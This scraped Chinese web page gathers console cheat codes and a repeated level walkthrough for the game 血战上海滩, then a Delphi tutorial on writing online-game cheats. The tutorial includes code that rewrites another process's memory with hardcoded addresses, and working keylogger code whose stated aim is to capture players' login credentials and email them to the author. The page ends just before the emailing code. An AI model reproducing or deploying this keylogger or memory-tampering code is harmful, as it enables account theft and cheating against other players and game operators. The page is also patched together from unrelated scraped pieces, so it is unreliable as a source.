作业帮 > 字数作文 > 教育资讯

血战上海滩游戏外挂

来源:学生作业帮助网 编辑:作业帮 时间:2024/09/24 06:18:04 字数作文
血战上海滩游戏外挂字数作文

篇一:血战上海滩秘籍大全

<<血战上海滩>>游戏秘籍大全

按~打开对话框 记得进入游戏后输入 god_on (开启无敌模式)

god_off (关闭无敌模式)

haveallweapon (拥有所有武器) addammo (给已有的武器加满弹药) ammonolimit (已有的武器弹药无限)

篇二:血战上海滩秘籍大全之作弊命令及剧情攻略

血战上海滩秘籍大全之作弊命令及剧情攻略 本文详细展示血战上海滩秘籍的作弊码内容,并且有详细的使用方法,另外还有全面的游戏攻略,有了这些东西,大家一定会在上海滩中畅游无限的,快来看看吧!

【血战上海滩秘籍】:

在游戏中按下键盘左上角的“~”键打开控制台,然后输入如下指令即可: god_on 开启无敌模式

god_off 关闭无敌模式

haveallweapon 拥有所有武器

addammo 给已有的武器加满弹药

ammonolimit 已有的武器弹药无限

【血战上海滩攻略】:

场景一

出现敌人:鬼子(拿各种枪),手榴弹手(扔手榴弹的),浪人(拿刀的),藤山三郎少佐(简称胖子)

1-1:牛刀小试

主角一下车,就有四个鬼子连滚带爬的冲过来,后面两个直接站立射击,先把他们干掉。右边的鬼子用刚拿到的冲锋枪轻松搞定,需要注意两个汽油桶,最好打左边的,打右边的可能无法顺带把鬼子炸飞。右边楼上两个手榴弹手,不过他们扔出的手榴弹速度慢,可以在空中打爆。几个浪人要小心,他们动作灵敏,最好不要让他们靠近。路口左拐后,消灭前面几个鬼子,要注意右边楼上的两个手榴弹手,一波敌人冲出来,用步枪点杀,还是冲锋枪扫射都可以。转身之后,只有躲在箱子后面的敌人不太好瞄准。最后鬼子的卡车一到,干掉左右各一个鬼子后,把那个拿刀的胖家伙集中火力一次性解决就通过了。

技巧:最后打小BOSS,最好能有步枪或者冲锋枪,或手榴弹,这样才能保证尽快将其消灭。

1-2:百万黄金

这一关明显敌人增加不少,干掉一开始那个好色的浪人,两边的车爆炸后,会突然跳出四个浪人向你冲来,站得比较集中,冲锋枪了断他们。正对着的矮墙后有几个敌人,这时有两个向左跑的,最好能先干掉他们,一转弯他们就会开枪,小碉

朝阳【wlsh0908】整理

堡也有人。右边箱子蹦出个胖子和几个鬼子,左边连续出来几个鬼子,接着右边屋顶也有不少鬼子,还包括两个弹跳力极好的浪人。进入巷子后,里面敌人有不少,只要注意楼上突然跑出来的家伙,以及从天下跳下来的两个浪人,其他都好解决。然后又是两个动作迅速的浪人和一群鬼子,打完躲到墙边干掉两个押着人质的鬼子就开始打小BOSS了。这关的小BOSS就是仗着人多和皮厚,不能像第一关盯着头目拼命开火,只能稳扎稳打。

技巧:本关前面应该可以拿到不少弹药,打起来也不愁没弹药,最后的那堆人,只是抓紧每次BOSS出来的那小段时间狠狠开火,差不多出来第五次和第六次就可以干掉了。

1-3:投鼠忌器

进银行后,先解决两个看门的鬼子,两个从天而降的浪人,还有几个躲在墙后面的敌人。大厅上会从左右两边不断滚出鬼子和浪人,可惜那些呆子浪人只走斜线,根本是送死,正对着的楼梯那有不少装备,趁这个时候可以先拿到手。柱子后有几个敌人,有两个人质会突然钻出来,小心别误伤。救女青年,先把其他鬼子干掉,然后打那个女青年左侧的空挡,可以打中背后的胖子,如果你不小心把女青年打死了,胖子就会躲在柜台下,不断有鬼子跑出来。另一个柜台后面也有几个鬼子,然后就是几个会在空中旋转飞行浪人,在空中直接用步枪点杀,落地后就有点麻烦了。然后忽左忽右的滚出鬼子,都轻松解决,接下来就是一个只会装酷和落跑的胖子,干掉后又要救另一个女青年,同样打女青年的左侧,这个位置敌人露出的空挡大。救完别顾着拿药,先把三个浪人毙了再吃不迟。楼梯敌人不少,但固定出现在那几个位置,解决难度不大,只是要注意一开始出来的浪人,一定要一枪搞定。

进入金库,左右竟然近距离各站着一个家伙(真是幽默),然后又是几个鬼子带着一群浪人,这里敌人都离得近,所以不能犹豫,枪枪点杀,左边圆门后面还有一个,右边也有三个。最后小BOSS,关键是救出人质,不然鬼子和浪人会不断出来,把准心放在屏幕正中到偏上一些之间,基本上可以保证枪枪爆头。人质救出后鬼子竟然还没死,说装了炸弹,一枪爆头吧。

技巧:本关唯一要注意的是救人质的时候,时机抓准,找好空挡。

1-4:围城打援

一开始的镜头很方便你一次解决一个,第二次晃出去,一次解决两个,避免等等被机枪扫中。这一车的人确实不少,路路续续从两边出来,最后车顶还有一个胖子。紧接着两辆摩托车开路,又带来两卡车鬼子,一下车就拼命冲过来,但他们只

朝阳【wlsh0908】整理

会走近才攻击。有敌人会冲向左边的掩体,干掉多加分,车顶还有一个手榴弹手,这关夜色黑,手榴弹很难在空中打掉,最好不要让他出手。掩体和屋顶鬼子消灭后,会到掩体后面拿东西,这里千万注意,一回头就有两个浪人在你面前砍,所以转身时,武器换成步枪,准心移到中间偏左的地方,一转身直接一枪,马上右移,解决右边的浪人。

又是大量鬼子冲出来,这群鬼子动作敏捷,距离合适就蹲下射击,幸好主角懂得且战且退,敌人无法近身。码头几个“身轻如燕”的浪人相当危险,而且这关步枪弹药不足,必须省下后面使用,无法全部在空中点杀,只有靠手枪点得快了。水塔上面下面各有几个鬼子,一转身,4个浪人冲来,后面也有鬼子,注意这里会有两个浪人从水塔上跳下,打完不能停,另外两个马上出现在你面前,同样先杀左边再杀右边,抓住时间差可以干掉。然后就是一个会分身术的浪人,只有在空余时间尽快干掉上面的浪人。背后的武器拿齐,进入第一场景大决战,一开始会让你耍一下酷,被一群浪人围攻,换成冲锋枪,镜头开始旋转的时候,按住开火,一圈都被你扫死,楼上的敌人只要注意跳下来的浪人,然后的一大群浪人冲击,应付相当吃力,要想不失血,只有靠步枪和冲锋枪,因此前面一定要尽量省下弹药。龟田终于要到了,连续几艘船过来,每艘船的最后一个敌人都是躲在箱子后面拿机枪扫射的,千万注意!中间的龟田会假死一次,还会再冒出来,用步枪一枪可以把他干掉。完成第一场景。

技巧:本关人多,且弹药前期弹药不足,所以一定要节约弹药,码头房间里的浪人是最难对付的,步枪是最好用的,而对付围攻主角的浪人用冲锋枪是最好的。最后的BOSS反而好对付得多。

场景二

出场敌人:鬼子,浪人,胖子,手榴弹手,自爆兵(恐怖分子?),装甲车 2-1:血浓于水

一出场就面对一群赶来抢夺的鬼子,这里要注意镜头转换后,要把那胖子解决,不然鬼子会一直冒出来。向右拐,左右防护栏里面各有几个敌人,大街上的不好对付,浪人会向你冲来,鬼子在后面拿枪射击,先将后面的鬼子干掉,然后再解决浪人。拐进巷子后,一枪把汽油桶打掉可以先干掉一人,继续往前走,同样是浪人和鬼子一起出现,还是先打鬼子。再前进将第一次遇到自爆兵,这个家伙威力相当惊人,绝对不能让他近身,边上一个手榴弹手,左边屋顶有几个鬼子,这里先一枪点掉自爆兵,马上左移干掉楼上的人,然后把飞在空中炸弹打掉,顺手把扔炸弹的家

朝阳【wlsh0908】整理

伙打死,再到左边楼上解决其他鬼子。进入巷子鬼子离得比较近,楼上和屋顶的鬼子和浪人,左转后的敌人都不少,这里要先打拿枪的鬼子,然后打空中的手榴弹,剩下时间打扔炸弹的人和浪人,以及那个胖子。

技巧:本关明显敌人智商加强,开枪速度加快,懂得配合进攻,而且数量也不少,幸好药比较多,通过并不难,想完美通关,在于不能盲目攻击,要打最先能攻击到你的敌人。有些敌人在你刚靠近的时候,还没来得及起身攻击,你可以直接打到他的头部将其歼灭。

2-2:亡羊补牢

一开始出来的敌人少而分散,救出大喊救命的女青年。在屋顶将面对一辆装甲车,这里难度比较大,敌人开枪速度很快,而且打不完,关键在于找空挡集中火力把装甲车干掉。转身就有医药包,接着又是一大群敌人,楼顶那个拿机枪的比较危险。跳到街道上以后,小心右边突然跳出来的浪人,正面对着一挺重机枪,千万不能让鬼子跑进去,重机枪火力太猛,射速快,左边还有一个手榴弹手,先打往中间跑的,然后打站在边上的,和空中的雷,再打手榴弹手。打完有医药包,屋顶的敌人出来速度比较快,也有一个医药包。卡车上有一个手榴弹手,右边会出来一个站车上的鬼子,其他都在左边,火力集中在左边,兼顾右边和天上的手榴弹就好解决了。

转身后,有一个浪人,一个鬼子一起出现,先打鬼子,楼上也有几个敌人。配合防护栏来的是三辆摩托车,上面的鬼子和碉堡的都是拿机枪的,用步枪远距离把摩托车轰掉,左边的鬼子就好解决了,转身后右边也有几个人。继续前进有两个防护栏,小心第二个,镜头面对防护栏,但第一个敌人从右边的箱子后冒出来。跑马场会突然冲出一伙鬼子和浪人,拿着机枪扫吧,然后面对整个大楼,不停的打冒出来的鬼子和打押着人质跑的鬼子,还要保证不能误伤人质。

技巧:看到戴钢盔的就是拿机枪的,一定要第一时间消灭,敌军开枪速度加快了,看到敌人不能犹豫,迅速开火。最后救人质,同样要首先打冒出来的敌人,然后打扔炸弹的,同时不停的打押人质的鬼子。

2-3:犁庭扫穴

消灭几个垃圾后,一个自爆兵向你投身而来,浪人和鬼子也会在后面配合,干掉自爆兵后问题就不大了。路口左边冲出来的鬼子要走很久才能到,先打右边屋顶马上攻击的两个鬼子,下面会有两个自爆兵跟着摩托车出来,趁距离远打。卡车的

朝阳【wlsh0908】整理

主要目标还是那个胖子,这里步枪弹药充足,点杀起来相当舒服。屋顶的敌人出来的很有规律,但速度快,还有拿机枪的,下面还会有自爆兵,建议用冲锋枪打。 拐进敌军基地,几个拿机枪的鬼子,不能给他们开枪的机会。屋顶的敌军出来得快且多,远处得楼上还有两个远距离扔手榴弹的,还是先打近处的敌军,这里打空中的手榴弹比较难,手榴弹降落的时候偏移小容易打。两个自爆兵带着一群鬼子和浪人来拦截你,用步枪点杀,杀两三个鬼子就开始正式救人质了,这时候能第一次拿到轻机枪。轻机枪相当好用,平常的鬼子一枪枪点杀,两辆卡车里的胖子,可以按住开火乱枪扫死,人质跑的时候会有两个鬼子追过去,一枪一个吧。汽油桶先不要打掉,最后会来一辆卡车,一次性冲出十多个鬼子和自爆兵,汽油桶可以解决一半,然后重机枪一扫就搞定了。

技巧:此关,前半段只有打屋顶敌军比较麻烦,最后救人质用好重机枪和汽油桶就很轻松可以搞定了。

2-4:力挽狂澜

一出来就是一个鬼子在前面,然后跳下一个浪人,掩体里面有不少敌人。一个自爆兵来得很快,屋顶的鬼子还有几个,这里可以拿到轻机枪或补充一下弹药。店门口有几个鬼子,左边的防护栏中有几个人,还有一个自爆兵会从后面跑出来,用汽油桶炸,不过别把所有汽油桶都打完了,左边的防护栏也有鬼子和自爆兵。转方向后,左右各冲来一群鬼子,靠两个汽油桶可以解决大半,大概在第一个鬼子过汽油桶时引爆效果最好。卡车用轻机枪可以一次把胖子扫死。

教堂门口的敌军不足为惧,小心自爆兵就行了。一进教堂,消灭右边的鬼子,三个浪人从正中跳下,中间救下两个人质,左边也有一些鬼子,这里用步枪合适。杀了四个浪人,就是真正的解决人质了,先杀冒出来的,再杀追着人质的(人质转了几圈还没救出的话中间会跳出三个低级浪人),救了人质后拿到第一支火箭筒。接下来第一次面对装甲车,总共会来两辆,边上还有带重机枪的防护栏,关键在于熟练的切换轻机枪和火箭筒的使用,对付敌军用重机枪扫射,装甲车移动的时候,切换到火箭筒拼命点,中途会不断得到补给,坦克一停,马上又切换回轻机枪,第二辆装甲车可能一次冲出很多敌军而且站得很集中,用轻机枪扫都可能来不及,直接火箭筒一炮轰过去就行了。

技巧:本关最大的难点在于最后对付装甲车,轻机枪的弹药都留在那时候用,步枪可以在教堂里面用,只要用上面的方法打,还是可以做到不损命过关的。 场景三

朝阳【wlsh0908】整理

篇三:血战上海滩秘籍大全详细介绍

血战上海滩秘籍大全详细介绍

来源:网络转载 发布时间:2009-11-04 点击: 6743

按下键盘左上角的 “~”键打开控制台,输入如下指令即可。 god_on 开启无敌

god_off 关闭无敌

haveallweapon 拥有所有武器

addammo 给已经有的武器加满弹药

ammonolimit 已经有的武器子弹无限

武器的优缺点及使用技巧

毛瑟半自动步枪:威力普通,射程较近,子弹无限,10发弹匣,这把枪全靠鼠标点得快来获取优势,后期打忍者的飞镖也比较方便。

毛瑟阻击步枪:威力超强,射程较远,5发弹匣,适合点杀,缺点弹药少,开枪速度慢。这把枪装弹时间长,使用时注意掌握节奏,不能胡乱开枪,不然容易被敌人找到空挡。

手榴弹:威力大且片攻击,可以扔到中远距离,缺点延时很严重,仅仅用在攻击敌人集中的防护栏以及后面的坦克。

汤姆森冲锋枪:威力普通,但射速极快,30发弹匣,这把枪适合向单个敌人集中打击,对着敌人按住开火就行了。

捷克ZB-26式轻机枪:威力强大,射速极快,50发弹匣,这把枪可点杀也可扫射,可以适应任何攻击,是游戏后期的主力武器,面对多且站得分散的敌人,非用它不可。

巴祖卡火箭筒:威力超强,发炮速度缓慢,对付装甲车最有效的武器,也仅此而已。

马克沁二四式重机枪:武力超强,射速极快,250发弹匣,可以打战车,缺点是地点固定,只能在几个地方使用。

游戏中有“爆头”的设定,普通敌人,只要打中头部都是一枪毙命,而打中的部位跟分数有关,头是150,身是100,腿是50。总共有四个场景16小关,现在拿起武器,去讨回当年的血债吧

血战上海滩攻略通关秘籍 场景一:

出现敌人:鬼子(拿各种枪),手榴弹手(扔手榴弹的),浪人(拿刀的),藤山三郎少佐(简称胖子)

1-1:牛刀小试

主角一下车,就有四个鬼子连滚带爬的冲过来,后面两个直接站立射击,先把他们干掉。右边的鬼子用刚拿到的冲锋枪轻松搞定,需

要注意两个汽油桶,最好打左边的,打右边的可能无法顺带把鬼子炸飞。右边楼上两个手榴弹手,不过他们扔出的手榴弹速度慢,可以在空中打爆。几个浪人要小心,他们动作灵敏,最好不要让他们靠近。路口左拐后,消灭前面几个鬼子,要注意右边楼上的两个手榴弹手,一波敌人冲出来,用步枪点杀,还是冲锋枪扫射都可以。转身之后,只有躲在箱子后面的敌人不太好瞄准。最后鬼子的卡车一到,干掉左右各一个鬼子后,把那个拿刀的胖家伙集中火力一次性解决就通过了。

技巧:最后的打小BOSS,最好能有步枪或者冲锋枪,或手榴弹,这样才能保证尽快将其消灭。

1-2:百万黄金

这一关明显敌人增加不少,干掉一开始那个好色的浪人,两边的车爆炸后,会突然跳出四个浪人向你冲来,站得比较集中,冲锋枪了断他们。正对着的矮墙后有几个敌人,这时有两个向左跑的,最好能先干掉他们,一转弯他们就会开枪,小碉堡也有人。右边箱子蹦出个胖子和几个鬼子,左边连续出来几个鬼子,接着右边屋顶也有不少鬼子,还包括两个弹跳力极好的浪人。进入巷子后,里面敌人有不少,只要注意楼上突然跑出来的家伙,以及从天下跳下来的两个浪人,其他都好解决。然后又是两个动作迅速的浪人和一群鬼子,打完躲到墙边干掉两个押着人质的鬼子就开始打小BOSS了。这关的小BOSS就是仗着人多和皮厚,不能像第一关盯着头目拼命开火,只能稳扎稳打。

技巧:本关前面应该可以拿到不少弹药,打起来也不愁没弹药,最后的那堆人,只是抓紧每次BOSS出来的那小段时间狠狠开火,差不多出来第五次和第六次就可以干掉了。

1-3:投鼠忌器

进银行后,两个看门的鬼子,两个从天而降的浪人,还有几个躲在墙后面的敌人。大厅上会从左右两边不断滚出鬼子和浪人,可惜那些呆子浪人只走斜线,根本在送死,正对着的楼梯那有不少装备,趁这个时候可以先拿到手。柱子后有几个敌人,有两个人质会突然钻出来,小心别误伤。救女青年,先把其他鬼子干掉,然后打那个女青年左侧的空挡,可以打中背后的胖子,如果你不小心把女青年打死了,胖子就会躲在柜台下,不断有鬼子跑出来。另一个柜台后面也有几个鬼子,然后就是几个会在空中旋转飞行浪人,在空中直接用步枪点杀,落地后就有点麻烦了。然后忽左忽右的滚出鬼子,都轻松解决,接下来就是一个只会装酷和落跑的胖子,干掉后又要救另一个女青年,同样打女青年的左侧,这个位置敌人露出的空挡大。救完别顾着拿药,先把三个浪人毙了再吃不迟。楼梯敌人不少,但固定出现在那几个位置,解决难度不大,只是要注意一开始出来的浪人,一定要一枪搞定。

篇四:血战上海滩秘籍

血战上海滩秘籍 进入游戏后按下键盘左上角的“ ~ ”键打开控制台,输入如下指令,回车即可

god_on 开启无敌

god_off 关闭无敌

haveallweapon 拥有所有武器

addammo 给已有的武器加满弹药

ammonolimit 已有的武器子弹无限

按~键(就是1左边那个)会弹出一个对话框,输入:

god_on无敌

god_off关闭无敌

haveallweapon拥有所有武器

ammonolimit无限弹药

注意:最好不要四个秘籍都用上,会很容易卡

篇五:教你写各种游戏外挂

教你写各种游戏外挂

看着别人玩网络游戏用外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):

1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。

2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。

3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码,做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。

4、加速

式,这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。

5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock2技术…………

以下就用Delphi实现网络游戏外挂。

==========================================

上回对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~

首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。

记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:

1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:

BOOL GetCursorPos(

LPPOINT lpPoint // address of structure for cursor position

);

2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:

BOOL SetCursorPos(

int X, // horizontal position

int Y // vertical position

);

3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下: VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants

DWORD dx, // horizontal mouse position or position change

DWORD dy, // vertical mouse position or position change

DWORD dwData, // amount of wheel movement

DWORD dwExtraInfo // 32 bits of application-defined information

);

在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~

好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

getcursorpos(point);

setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数

mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);

mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

setcursorpos(point.x,point.y);

看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:

VOID keybd_event(

BYTE bVk, // virtual-key code

BYTE bScan, // hardware scan code

DWORD dwFlags, // flags specifying various function options

DWORD dwExtraInfo // additional data associated with keystroke

);

我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:

UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code

UINT uMapType // translation to perform);

好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);

keybd_event(65,mapvirtualkey(65,0),0,0);

keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。

(看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)

==============================================

上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。

具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地

址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):

1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name

LPCTSTR lpWindowName // pointer to window name

);

2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下: DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window

LPDWORD lpdwProcessId // address of variable for process identifier

);

3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:

HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag

BOOL bInheritHandle, // handle inheritance flag

DWORD dwProcessId // process identifier

);

在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。

4、 打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如 说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:

BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to

LPVOID lpBaseAddress, // address to start writing to

LPVOID lpBuffer, // pointer to buffer to write data to

DWORD nSize, // number of bytes to write

LPDWORD lpNumberOfBytesWritten // actual number of bytes written

);

5、下面用CloseHandle关闭进程句柄就完成了。

这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧: const

ResourceOffset: dword = $004219F4;

resource: dword = 3113226621;

ResourceOffset1: dword = $004219F8;

resource1: dword = 1940000000;

ResourceOffset2: dword = $0043FA50;

resource2: dword = 1280185;

ResourceOffset3: dword = $0043FA54;

resource3: dword = 3163064576;

ResourceOffset4: dword = $0043FA58;

resource4: dword = 2298478592;

var

hw: HWND;

pid: dword;

h: THandle;

tt: Cardinal;

begin

hw := FindWindow('XX', nil);

if hw = 0 then

Exit;

GetWindowThreadProcessId(hw, @pid);

h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);

if h = 0 then

Exit;

if flatcheckbox1.Checked=true then

begin

WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt); WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt); end;

if flatcheckbox2.Checked=true then

beginWriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt); WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt); WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt); end;

MessageBeep(0);

CloseHandle(h);

close;

这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。

==========www.xxlinux.com=============

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的 程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会 以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。

在做程序之前我们必需要了解一下程序的思路:

1、我们首先知道你想记录游戏的登录窗口名称。

2、判断登录窗口是否出现。

3、如果登录窗口出现,就记录键盘。

4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:

那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name

LPCTSTR lpWindowName // pointer to window name

);

实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。

先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install

HOOKPROC lpfn, // address of hook procedure

HINSTANCE hMod, // handle of application instance

DWORD dwThreadId // identity of thread to install hook for

);

(转 载 于:wWW.smHAida.cOM 海达范文网:血战上海滩游戏外挂)

在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为: >hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0); 而HOOKPROC里的函数就要复杂一点点:

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; begin

if findedtitle then //如果发现窗口后

begin

if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下

hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。

if length(hookkey) > 0 then //如果获得按键名称

begin

Write(hookkeyFile,hookkey); //把按键名称写入文本文件

hookkey := '';

end;

end;

end;

以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。 我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:

字数作文